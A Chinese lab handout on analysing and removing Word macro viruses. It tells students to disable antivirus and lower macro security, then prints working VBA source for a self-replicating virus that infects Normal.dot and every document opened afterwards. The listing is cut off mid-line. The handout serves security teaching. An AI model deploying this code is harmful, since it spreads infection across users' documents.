16 实验七 计算机宏病毒分析及清除实验 一、实验目的 了解“宏病毒”机理； 掌握清除宏病毒的方法； 掌握采用“宏”和脚本语言进行编程的技术。 二、实验时数：2小时 三、实验环境 Window s 2000/2003/XP 或更高级别的 Window s 操作系统； Office Word 2000/2003 等字处理软件。 四、实验要求 演示宏的编写； 理解宏病毒的作用机制。 五、实验步骤： 1．软件设置 关闭杀毒软件；打开 Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任 visual basic项目的访问”。 注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 2．自我复制功能演示 打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏” “Visual Basic宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前 word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到 Normal.dot（word文档的公共模板）和当前文档的 ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响 word的正常使用，本例中只是简单的跳出一个提示框。 完整代码如下： 1 7 'Macro-1：Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host If .Lines(1, 1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = NormalTemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs A...
